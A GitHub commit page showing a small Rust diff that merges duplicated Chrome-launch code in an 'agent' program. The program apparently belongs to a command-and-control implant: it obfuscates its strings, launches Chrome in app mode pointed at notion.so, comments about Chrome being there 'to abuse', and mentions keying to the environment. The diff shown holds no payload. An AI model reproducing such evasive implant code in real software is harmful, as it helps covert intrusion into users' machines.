Skip to content
This repository was archived by the owner on Mar 11, 2025. It is now read-only.

Commit 531e14a

Browse files
committed
Fix app launch code
1 parent fca9146 commit 531e14a

File tree

1 file changed

+6
-12
lines changed

1 file changed

+6
-12
lines changed

agent/src/main.rs

Lines changed: 6 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -87,24 +87,18 @@ async fn main() -> Result<(), Box<dyn std::error::Error>> {
8787
}
8888
#[cfg(target_os = "linux")] {
8989
browser_cmd = lc!("/usr/local/bin/google-chrome");
90-
match Command::new(browser_cmd)
91-
.arg("--app=https://notion.so")
92-
.spawn() {
93-
Ok(_) => {logger.info(lc!("Launching browser"));},
94-
Err(e) => {logger.err(e.to_string());}
95-
};
9690
}
9791
#[cfg(target_os = "macos")] {
9892
// For Mac, since we can't launch Chrome, we're gonna have to
9993
// Hope Chrome is there for us to abuse.
10094
browser_cmd = lc!("/Applications/Google Chrome.app/Contents/MacOS/Google Chrome");
101-
match Command::new(browser_cmd)
102-
.arg("--app=https://notion.so")
103-
.spawn() {
104-
Ok(_) => {logger.info(lc!("Launching browser"));},
105-
Err(e) => {logger.err(e.to_string());}
106-
};
10795
}
96+
match Command::new(browser_cmd)
97+
.arg("--app=https://notion.so")
98+
.spawn() {
99+
Ok(_) => {logger.info(lc!("Launching browser"));},
100+
Err(e) => {logger.err(e.to_string());}
101+
};
108102
}
109103

110104
// Before anything else happens, we key to the env if the config has been set.

0 commit comments

Comments
 (0)